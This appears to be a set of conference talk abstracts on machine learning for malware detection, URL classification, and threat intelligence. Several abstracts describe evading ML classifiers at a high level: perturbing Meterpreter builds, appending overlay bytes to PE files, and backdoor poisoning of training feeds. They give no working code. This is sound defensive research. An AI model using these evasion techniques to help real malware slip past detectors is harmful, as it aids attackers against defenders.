Trying to Make Meterpreter into an Adversarial Example

Andy Applebaum

While machine learning has put previously hard-to-solve problems within reach, recent research has shown that many of the associated methods are susceptible to misclassification via the explicit construction of adversarial examples. These cleverly crafted inputs are designed to toe the line of classifier decision boundaries, and are typically constructed by slightly perturbing correctly classified instances until the classifier misclassifies it, even though the instance is largely the same. Researchers have published ways to construct these examples with full, some, or no knowledge of the target classifier, and have furthermore shown their applicability to a variety of domains, including in security.

In this talk, we’ll discuss several experiments where we attempted to make Meterpreter – a well-known and well-signatured RAT – into an adversarial example. To do this, we leveraged the open-source gym-malware package, which treats the target classifier as a black-box and uses reinforcement learning to train an agent on how to apply perturbations to input PE files in a way that results in evasive malware. Deviating from existing work, our approach trained and tested only on different versions of Meterpreter, which were compiled by using msfvenom with different compilation options, such as templates, encoders, added code, and others. Our goal was in part to test if the reinforcement learning approach is more effective when focused on one malware family, as well as to see if we can make something well-known (and widely-used) evasive.

Unfortunately, our results were underwhelming: we found little difference between using a fully black-box, gray box, or random agent to apply perturbations, and we also did not see significant changes between varying the game length between 10 or 20 perturbations per instance. However, on analyzing the samples generated by msfvenom, we saw that many of the instances we created were naturally evasive due to their compilation parameters, and did not benefit from applied perturbations; applying an encoder, for example, increased the confidence of the classifier, whereas using a template – even of a malicious executable – decreased it. Taken as a whole, our results lay out interesting areas for future work, both in the realm of pre- and post-compilation adversarial example construction.

Scalable Infrastructure for Malware Labeling and Analysis

Konstantin Berlin

One of the best-known secrets of machine learning (ML) is that the most reliable way to get more accurate models is by simply getting more training data and more accurate labels. This observation is also true for malware detection models like the ones we deploy at Sophos. Unfortunately, generating larger, more accurate datasets is arguably a much bigger challenge in the security domain than in most other domains, and poses unique challenges. Malware labeling information is usually not available at time of observation, but comes from various internal and external intelligence feeds, months or even years after a given sample is first observed. Furthermore, labels from these feeds can be inaccurate, incomplete, and even worse, change over time, necessitating joining multiple feeds and frequently adjusting the labeling methodology over entire datasets. Finally, realistic evaluations of an antimalware ML model often require being able to “roll back” to a previous label set, requiring a historical record of the labels at the time of training and evaluation.

All this, under the constraint of a limited budget.

In this presentation, we will show how to use AWS infrastructure to solve the above problems in a fast, efficient, scalable, and affordable manner. The infrastructure we describe can support the data collection and analysis needs of a global Data Science team, all while maintaining GDRP compliance and being able to efficiently export data to edge services that power a global reputation lookup.

We start by describing why developing the above infrastructure at reasonable cost is surprisingly difficult. We focus specifically on the different requirements, such as the need to correlate information from internal and external sources across large time ranges, as well ability to roll back knowledge to particular timeframes in order to properly develop and validate detection models.

Next, we describe how to build such a system in a way that is scalable, agile, and affordable, using AWS cloud infrastructure. We start out describing how to effectively aggregate and batch data across regions into a regional data lake in a way that is GDPR complaint, utilizing SQS, auto-scaling spot instance clusters, and S3 replication. We then describe how we store, join, and analyze this data at scale by batch inserting the replicated data into a distributed columnar Redshift database.

We then describe how we organize the data effectively in Redshift rables, taking proper care to define distribution and sort keys, deal with duplicate entries (as key uniqueness is not enforced), and perform SQL joins efficiently on daily cadence. Finally, we show how we can export the data at scale to local storage for ML training, or propagate this data to edge services, like replicated DynamodDB, to power a global reputation service.

TweetSeeker: Extracting Adversary Methods from the Twitterverse

Matthew Berninger

Like it or not, Twitter is a useful cybersecurity resource. Every day, cybersecurity practitioners share red team exploits, blue team signatures, malware samples, and many other indicators on Twitter. Users can debate policy issues such as responsible disclosure, intelligence sharing, and nation-state attribution. Connections are made, communities are built, and knowledge is shared.

On the FireEye Advanced Practices Team, our primary mission is to discover and detect advanced adversaries and attack methods. Using Twitter as an intelligence source, we have built an automated framework to help our team focus on actionable cybersecurity information, extracted from the myriad threads and discussions within the “Infosec Twitter” community. This presentation will show the various data science and machine learning methods we are currently using to discover, classify, and present this actionable intelligence to our analysts.

Within this presentation, we will describe how we address two related tasks:

1. Detect and prioritize actionable indicators and warnings for ingest and review by analysts
2. Discover previously unknown sources of intelligence for further collection

We will discuss the various data science concepts that we used for this project, including natural language processing, topic modeling, supervised classification, and graph-based analytics. In addition, we will provide a case study of how our analysts currently use this system to augment our intelligence operations.

We will also describe and demonstrate many of the challenges we have encountered in this research. These include representations of industry-specific terms, Twitter API usage and limitations, dimensionality reduction, and issues related to context. Finally, we will provide lessons learned, next steps, and feedback from front-line analysts using the system.

PowerShell Malware Detection using AMSI

Liam Bressler

Machine learning techniques have revolutionized the area of file-based malware detection, as evidenced by some excellent talks delivered in the last few years. However, fileless attacks present a much different problem for these traditional techniques, and there has been a lack of research in this area of rising importance. This talk will propose new approaches to solving this difficult problem.


With Windows 10, Microsoft has introduced the Windows Antimalware Scan Interface (AMSI) to its malware-blocking capabilities. In the presenter’s opinion, this service is underutilized among antivirus programs. The interface’s ability to view as well as deobfuscate all manner of scripts (PowerShell, VBScript, etc.) makes it a powerful tool for extracting script code for analysis. However, AMSI does not output the whole script at once, which frustrates current malware detection machine learning approaches.


There are ways to come up with a reasonable solution to script detection, however. Scripts (in particular PowerShell) are often easier to parse than executables (in fact, the PowerShell SDK has a Parser class), so there are very clean features for script machine-learning models. Also, each AMSI chunk can be given a “malicious score”; when the score goes over a certain threshold, the script is stopped. Experiments show that this technique has a surprisingly high efficacy, while not falsely alerting too often.

Applying Deep Graph Representation Learning to the Malware Graph

C. Bayan Bruss

Malware is widespread, both increasing in its ubiquity but also growing in diversity. This poses significant challenges for detecting, classifying and understanding new malware as it is observed. Static and dynamic attributes about the specific malware only tell you so much. The sheer scale of the problem makes in-depth investigation impossible. However, when malware are viewed as nodes in a heterogeneous graph, where edges can be connected to IP addresses, URLs, domains, etc., then topological information can provide added context beyond just the individual node attributes. While this can be a powerful visualization and investigation tool, graph structures are very sparse and high dimensional making it challenging for ML task such as node classification, similarity search and clustering. In recent years, a variety of graph embeddings techniques have gained popularity for using machine learning to learn lower dimensional vector representations of graphs in a way that encodes topology, node and edge attributes and neighborhood statistics. In this presentation we apply common graph embedding techniques (e.g. DeepWalk, GraphSage), to the malware. We investigate the outputs of these models to gauge their ability to learn meaningful representations in this domain with this graph and share learnings for how to incorporate Graph ML techniques to large malware networks.

CNN-Based Malware Visualization and Explainability

Lara Dedic, Matthew Teschke

Manually determining the malware-like characteristics of an executable using signature and behavioral based identifiers has become difficult and laborious for domain experts as malware becomes more complex. Using machine learning models to automatically detect important features in malware by taking advantage of advancements in deep learning, such as image classification, has developed into a research topic that both interests malware reverse engineers and data scientists.

This work is an expansion of recent attempts to better interpret convolutional neural networks (CNNs) that have been trained on image representations of malware through the network’s activations. We present a reproducible approach to visually explain a CNN’s predictions by overlaying heatmaps on top of disassembled malware that’s been transformed into images, and then show how it can be used as an automated malware analysis tool for reverse engineers as a way to navigate through a complex piece of malware for the first time. We use fastai, a deep learning library that simplifies training state of the art neural networks for any task including malware binary classification, and Gradient-weighted Class Activation Mappings (Grad-CAM) to generate the heatmaps over regions in the image that might indicate malicious behavior.

Describing Malware via Tagging

Felipe Ducau

Although powerful for conviction of malicious artifacts, machine learning based detection do not generally produce further information about the type of malware has been detected. In this work, we address the information gap between ML and signature-based detection methods by introducing an ML-based tagging model that is trained to generate human-interpretable semantic descriptions of malicious software (e.g. file-infector, downloader, etc.).

Even though much has changed over the last 30 years of malware detection, most anti-malware solutions still rely on the concept of malware families for describing the capabilities of malicious software. The increased number of malware specimens along with the introduction of techniques such as polymorphism, packing, and obfuscation, has turned the task of malware description via family classification into a difficult and oftentimes intractable one. This has led to a (very) large number of mutually exclusive malware families, typically highly vendor-specific (oftentimes inconsistent across vendors) and not necessarily designed for human consumption.

We propose an alternative approach to malware description based on semantic tags. In contradistinction to (family) detection names, semantic tags aim to convey high-level descriptions of the capabilities and properties of a given malware sample. They can refer to their purpose (e.g. 'dropper’, ‘downloader’), malware family (e.g. ‘ransomware’), file characteristics (e.g. ‘packed’), etc. Semantic tags are non-exclusive, meaning that a malware campaign can be associated with multiple tags, and a given tag can be associated with multiple malware families. By moving the focus of malware description from a large set of mutually exclusive malware families to an intelligible set of malware tags we also enable the possibility of learning the relationship between files and semantic tags with machine learning techniques.

With this in mind, we first introduce a simple annotation method for deriving high-level descriptions of malware files based on (but not necessarily constrained to) an ensemble of vendor family names. We then formulate the problem of malware description as a tagging problem and formalize it under the framework of multi-label learning. We further propose a joint-embedding deep neural network architecture that maps both semantic tags and Windows portable executable files to the same low-dimensional embedding space. We can then use the similarity between files and tags in this embedding space to automatically annotate previously unseen samples.

We empirically demonstrate that when evaluated against tags extracted from an ensemble of anti-virus detection names, the proposed tagging model correctly identifies about 94% of eleven possible tag descriptions for a given sample, at a deployable false positive rate (FPR) of 1% per tag. Furthermore, we show that it is feasible to learn behavioral characteristics of malicious software samples from a static representation of the file by fitting a deep neural network to predict the proposed set of tags and evaluating the results on ground truth tags extracted from behavioral traces of files’ execution.

Mitigating Adversarial Attacks against Machine Learning for Static Analysis

David Elkind

Computer security increasingly leverages machine learning to detect malware. This is not without risks. Machine learning methods have weaknesses that can be exploited by a savvy attacker. In the case of malware, adversaries have an enormous amount of control over how to accomplish their malicious goals in code; this flexibility allows malware authors to engineer PE files that can evade detection by machine learning.

In this presentation, we outline the high-level pipeline for identifying malware using machine learning and demonstrate an elementary strategy to evade detection using machine learning. Even simple modifications to a PE file can be leveraged to make the file evade naive machine learning models. As a notional example, we append ASCII bytes to the overlay of a PE file; because appending bytes to the overlay is unlikely to change the operation of the executable, the malicious functionality is likely left intact by this modification. Moreover, we show that such evasion can be mitigated using a novel regularization technique.

Our novel strategy for mitigating evasions leverages the internal structure of a deep neural network for malware classification. Specifically, we penalize the deep network’s objective function proportional to the magnitude of the discrepancy between the hidden representations of a PE file and its corresponding modified version. This penalty encourages pairs of files (original files are paired with the same with ASCII bytes appended) to be given similar learned representations within the hidden layers of the network. We know that the “twins” must have the same functionality, so the network should give them a similar representation. We show that this regularization strategy results in a model which is much more robust to targeted file perturbations such as the ASCII bytes evasion strategy. Furthermore, we analyze the trade-offs researchers need to make between adversarial hardening and detection efficacy.

ProblemChild: Discovering Anomalous Patterns based on Parent-Child Process Relationships

Bobby Filar, David French

It is becoming more common that malware attacks are not just a standalone executable or script. These attacks often have conspicuous process heritage that is ignored by machine learning models that rely solely on static features (e.g. PE header metadata) to make a decision. Advanced attacker techniques, like “living off the land,” that appear normal in isolation become more suspicious when observed in a parent-child context. The context derived from parent-child process chains can help identify and group malware families, as well as discover novel attacker techniques. These techniques can be chained to perform persistence, defense bypasses and execution actions. In response, security vendors commonly write heuristics, commonly referred to as analytics to identify these events.

We present ProblemChild, a graph-based framework designed to discover malicious software based on process relationships. ProblemChild applies machine learning to derive a weighted graph used to identify communities of seemingly disparate events into larger attack sequences. Additionally, ProblemChild uses the conditional probability P( child | parent ) to automatically uncover rare or common process-level events that can be used to elevate or suppress anomalous communities. We evaluate ProblemChild against a replay of the 2018 Mitre ATT&CK evaluation (APT3) to show how it performs compared to other security vendors who participated in the test.

What is the Shape of an Executable?

Erick Galinkin

The empirical success of neural networks in fields such as natural language processing and computer vision has led researchers in many other fields, including information security, to try their hand at deep learning. However, the landmark results seen in some applications have not been repeated in information security and have rarely been successful without significant feature engineering. Most convolutional neural networks are written to use rectangular filters, but the convolution operator is flexible and its efficacy in signal processing is often contingent on the shape of the signal being processed and the filter it is convolved with. We survey vectorization methods that have been used on binary executable files and consider their efficacy on the EMBER dataset. Additionally, we explore the topology of the binary executable files associated with the three major desktop operating systems (Windows, Mac OS X, and *nix) and compare the accuracy of neural networks using non-rectangular filters against benchmark accuracy results.

Using Lexical Features for Malicious URL Detection- A Machine Learning Approach

Apoorva Joshi

Background: Malicious websites are responsible for a majority of the cyber-attacks and scams today. Malicious URLs are delivered to unsuspecting users via email, text messages, pop-ups or advertisements. Clicking on or crawling such URLs can result in compromised email accounts, launching of phishing campaigns, download of malware, spyware and ransomware, as well as severe monetary losses.

Method: A machine learning based ensemble classification approach is proposed to detect malicious URLs in emails, which can be extended to other methods of delivery of malicious URLs. The approach uses static lexical features extracted from the URL string, with the assumption that these features are notably different for malicious and benign URLs. The use of such static features is safer and faster since it does not involve crawling the URLs or blacklist lookups which tend to introduce a significant amount of latency in producing verdicts.


The dataset consists of a total of 5 million malicious and benign URLs which were obtained from various sources including online feeds like Openphish, Alexa whitelists and internal FireEye databases. A 50-50 split was maintained between malicious and benign URLs so as to have a good representation of both kinds of URLs in the dataset. Compact feature vector representations were generated for the URLs, consisting of 1000 trigram-based features encoded with MurmurHash and 23 lexical features derived from the URL string. The tools used to generate the feature representations were NLTK (a popular NLP Python package), mmh3 (a MurmurHash Python package) and urrlib (a Python library for parsing URLs).


The lexical features used for modelling include length of (URL, domain, parameters), number of (dots, delimiters, subdomains, queries) in the URL, presence of suspicious Top Level Domains (TLDs) in the URL, similarity of the domain name to Alexa whitelist domains, to name a few. It was observed that the feature vectors of malicious URL strings so obtained were significantly different from those of benign URL strings.


The goal of the classification was to achieve high sensitivity i.e. detect as many malicious URLs as possible. URL strings tend to be very unstructured and noisy. Hence, bagging algorithms were found to be a good fit for the task since they average out multiple learners trained on different parts of the training data, thus reducing variance. Therefore, Random Forest with Decision Tree estimators was used as the machine learning model of choice for classification.

Results: The classification model was tested on five different testing sets, consisting of 200k URLs each. The model produced an average False Negative Rate (FNR) of 0.1%, average accuracy of 92% and average AUC of 0.98. The model is presently being used in the FireEye Advanced URL Detection Engine (used to detect malicious URLs in emails), to generate fast real-time verdicts on URLs. The malicious URL detections from the engine have gone up by 22% since the deployment of the model into the engine workflow.

Conclusion: The results obtained show noteworthy evidence that a purely lexical approach can be used to detect malicious URLs.

An Information Security Approach to Feature Engineering

Brian Murphy

Feature engineering in data science is central to obtaining satisfactory results from deep learning models. When considering how to create features for InfoSec purposes it is important to consider the context of the features and what their underlying meaning is. Common data science techniques such as feature hashing and one-hot encoding, while effective for certain tasks, often fall short when creating features for security related models. This is due to locality sensitivity being often lost.

To address this, we built a set of feature encoders and scalers built specifically for the data types common to information security. In particular we have found that using advanced security focused encoders for IP addresses, usernames, URLs, domain names and geographic information yields dramatically better results than using the naïve encoders commonly employed by data scientists.

This talk expands upon the rationale used to arrive at these methods of encoding and goes into detail on the algorithms used to build these new encoders.

The improvement in prediction results when using these encoders is clearly seen when using a binary classifier trained on labeled data to separate DNS traffic into clean and malicious requests. We see an improvement from approximately 65% accuracy when using basic encoders to over 90% when using the new security focused encoders.

Attendees to this presentation will come away with a new approach to encoding InfoSec features for machine learning that should increase the fidelity of their deep learning models.


Next Generation Process Emulation with Binee

Jared Nishikawa

The capability to emulate x86 and other architectures has been around for some time. Malware analysts have several tools readily available in the public domain. However, most of the tools stop short of full emulation, halting or doing strange things when emulating library functions or system calls not implemented in the emulator. In this talk we introduce a new tool: Binee (Binary Emulation Environment), a Windows Process emulator. Binee creates a nearly identical Windows process memory model inside the emulator, including all dynamically loaded libraries and other Windows process structures. Binee mimics much of the OS kernel and outputs a detailed description of all function calls with human readable parameters through the duration of the process.

One of the primary benefits Binee provides is data extraction at scale, with a cost and speed similar to common static analysis tools. For the data scientist doing binary analysis, static analysis is the primary source of data in much of the literature. This is due to the cost and complexity required to do static analysis vs dynamic analysis; static analysis being cheap and fast, dynamic analysis being slow and expensive. Binee offers an increase in useful data extracted but at a cost similar to static analysis tools. Binee can run in the cloud at scale and output structured data to be analyzed.

Currently, our goal is to develop Binee to the point that it will extract useful data for all or most Windows executables, and then use that data to create a much richer feature set than we would get with only static analysis. This would allow us to create, for example, better classifiers for malware.


EMBER Improvements

Phil Roth

Endgame released an update to the EMBER dataset that includes updated features and an new set of PE files from 2018.

We used a new process for selecting PE files from 2018 to include in the dataset. We were aiming to create a testing set that is more difficult to classify by a machine learning algorithm than the original EMBER 2017 set. We also added steps that eliminated the worst outliers and cut down on duplications in the feature space.

The expanded feature set includes corrections to ordinal import calculations, new features that allow the EMBER classifier to be compared to the Adobe Malware Classifier, and an updated version of LIEF. Features were recalculated using the samples from EMBER 2017 and released. This necessitated versioning the feature calculation and sample selection separately.

I’ll talk about the motivations behind all the changes, what research this expansion enables, and the potential dangers in joining the EMBER 2017 and 2018 samples into a single analysis. I’ll also show the results of some of the different classifiers we’ve trained on EMBER 2018 samples.

Exploring Backdoor Poisoning Attacks Against Malware Classifiers

Giorgio Serveri, Jim Meyer, Scott Coull

Antivirus vendors often rely on crowdsourced threat feeds, such as VirusTotal and ReversingLabs, to provide them with a large, diverse stream of data to train their malware classifiers. Since these threat feeds are largely built around user-submitted binaries, they provide an ideal vector for poisoning attacks, where an attacker injects manipulated samples into the classifier’s training data in an effort to cause misclassifications after deployment. In a backdoor poisoning attack, the attacker places a carefully chosen watermark into the feature space such that the classifier learns to associate its presence with a class of the attacker’s choosing. These backdoor attacks have been proven extremely effective against image classifiers without requiring a large number of poisoned examples, but their applicability to the malware classification domain remains uncertain.

In this talk, we explore the application of backdoor poisoning to malware classification through the development of novel, model-agnostic attacks in the white box setting that leverage tools from the area of model interpretability, namely SHapley Additive exPlanations (SHAP). Intuitively, our attack uses the SHAP values for the features as a proxy for how close certain values are to the decision boundary of the classifier, and consequently how easily we can manipulate them to embed our watermark. At the same time, we balance the ease of manipulation against our desire to blend in with surrounding (non-poisoned) samples, ensuring that we use watermarks that are consistent with the remainder of the dataset. Unlike previous work on backdoor attacks against image classifiers, which focus solely on deep neural networks, our techniques can operate on any model where SHAP values can be approximated for the underlying feature space. Moreover, we adapt the threat model developed in the image classification space to more accurately reflect the realities of malware classification so that we can evaluate the efficacy of our attack as a function of the attacker’s knowledge and capabilities in manipulating the feature space.

The results of our experiments on the EMBER dataset highlight the effectiveness of our backdoor attack, demonstrating high evasion rates with a training set containing a small proportion of poisoned examples. Even in the more extreme attack settings, these poisoned examples did not significantly impact the baseline performance of the classifier. In addition, we explored several common anomaly detection and dataset cleansing techniques to better understand useful mitigation strategies that antivirus vendors might use against our attack. Taken together, the results of our experiments validate the effectiveness of our model-agnostic backdoor poisoning attacks and bring to light a potential threat that antivirus vendors face when using crowdsourced threat feeds for training machine learning models.

 Applications of Graph Integration to Function Comparison and Malware Classification

Michael Slawinski

We classify .NET files as either benign or malicious by examining directed graphs derived from the set of functions comprising the given file. Each graph is viewed probabilistically as a Markov chain where each node represents a code block of the corresponding function, and by computing the PageRank vector (Perron vector with transport), a probability measure can be defined over the nodes of the given graph. Each graph is vectorized by computing Lebesgue antiderivatives of hand-engineered functions defined on the vertex set of the given graph against the PageRank measure. Files are subsequently vectorized by aggregating the set of vectors corresponding to the set of graphs resulting from decompiling the given file. The result is a fast, intuitive, and easy-to-compute glass-box vectorization scheme, which can be leveraged for training a standalone classifier or to augment an existing feature space. We refer to this vectorization technique as PageRank Measure Integration Vectorization (PMIV). We demonstrate the efficacy of PMIV by training a vanilla random forest on 2.5 million samples of decompiled .NET, evenly split between benign and malicious, from our in-house corpus and compare this model to a baseline model which leverages a text-only feature space. The median time needed for decompilation and scoring was 24ms.

Learning to Rank Relevant Malware Strings Using Weak Supervision

Philip Tully, Matthew Haigh, Jay Gibble, Michael Sikorski

In static analysis, one of the most useful initial steps is to inspect a binary's printable characters via the Strings program. However, filtering out relevant strings by hand is time consuming and prone to human error. Relevant strings occur disproportionately less often than irrelevant ones, larger binaries produce upwards of thousands of strings that can quickly evoke analyst fatigue, and the definition of "relevant" can vary significantly across individual analysts. Mistakes can lead to missed clues that would have reduced overall time spent performing malware analysis, or even worse, incomplete or incorrect investigatory conclusions.

To address these concerns, we present StringSifter: an open source machine learning-based tool that automatically ranks strings. StringSifter is built to sit downstream from the Strings program; it takes a list of strings as input and returns those same strings ranked according to their relevance for malware analysis as output. StringSifter makes an analyst's life easier, allowing them to focus their attention on only the most relevant strings located towards the top of its predicted output.

StringSifter is trained on a sample of the 3.1 billion individual strings extracted from Strings program outputs of the 400k malicious PE files in the EMBER dataset. Strings are labeled with ordinal ranks obtained from Snorkel, a weak supervision procedure that trains a generative model over SME-derived signatures, i.e. labeling functions, to resolve their underlying conflicts. For each string, Snorkel produces a probabilistic label, which represents a lineage that takes into account the correlation structure of its source labeling functions. This data programming approach allows us to cheaply and rapidly annotate our large corpus of strings and incorporate the subject matter expertise of reverse engineers directly into our model.

Weakly supervised labels together with transformed string features are then fed into several competing discriminative models with learning-to-rank (LTR) loss functions. LTR has historically been applied to problems like web search and recommendation engines, and we evaluate our models in this same lens by using the mean normalized discounted cumulative gain (nDCG). In our presentation, we will discuss how StringSifter helps us achieve generalizable nDCG scores on holdout Strings datasets, and proceed to demonstrate the tool’s predictions live in action on sample binaries. More broadly, we argue for weak supervision as a promising path forward for other label-starved problems plaguing cybersecurity.

Towards a Trustworthy and Resilient Machine Learning Classifier - a Cast Study of Ransomware Behavior Detector

Evan C Yang

The crypto-ransomware is a type of malware which hijacks user’s resources and demands for a ransom. It was expected to cost business more than $75 billion in 2019 and continues to be a problem for enterprises*. Due to the encryption, the damage caused by the crypto-ransomware is difficult to revert. Even equipping with an endpoint protection software, infections may still occur*. To block an unseen ransomware, static detection is not effective. Instead, behavior-based detection with a proper backup mechanism is one of mitigation solutions.


In this presentation, machine learning (ML) and deep learning (DL) classifiers were proposed to detect the ransomware behaviors. We executed ransomwares in Windows sandboxes and collected their input/output activities (I/O). The time-series behavior data was analyzed by long short term memory (LSTM) or N-gram featured support vector machine (SVM). We found a naïve trained classifier even with good accuracy and low false positive rate didn’t perform well at online detector in the wild. To boost the early detection rate and to overcome the potential overfitting issue, data augmentation techniques were definitely needed. Also to avoid the sensitivity of the sliding window size, an over-sampling mechanism was deployed to synthesize samples similar to the ones from I/O event stream.


A ML/DL model without adversarial mitigation may be vulnerable to adversarial attacks. A simulated ransomware, the Red team, was developed to probe the blind spots of our classifiers. This simulated program can perform core ransomware behaviors, the malicious encryption, and configurable benign I/O activities, e.g. file creation or modification etc. With minor change to the I/O pattern of encryption, the Red team found no difficulty to bypass the detection. We conclude that an adversarial mitigation is necessary procedure to fortify the ML/DL classifier especially when dataset size is limited. For security application, it is important to ensure the classifier making decision based on meaningful features. The Integrated Gradient method was selected in our experiment to show the attribution of each time steps in LSTM model. We observed that the attribution pattern did match the known malicious series activities and the fidelity of classifier can be confirmed. We can also apply the same method to understand how an adversarial sample bypasses the detection.


By building a ransomware detector, this presentation demonstrates a full stack of ML/DL development process. We found the simulated adversarial program is very helpful which can disclose the weakness of the model and also serve as an adversarial sample generator. In addition to the regular ML/DL training-testing iteration for model optimization, we proposed to add an “adversarial attack-retraining” iteration, repeatedly tested by the Red team program and re-trained the model by synthesized adversarial samples. Combining with data augmentation and model explanation techniques, the resiliency and fidelity of the model can be enhanced and ensured. The tips and lessons learned for each steps of two-iteration pipeline will be shared in our presentation. We believe this in-depth analysis can be a general recommendation for all cybersecurity ML/DL development.


*https://phoenixnap.com/blog/ransomware-statistics-facts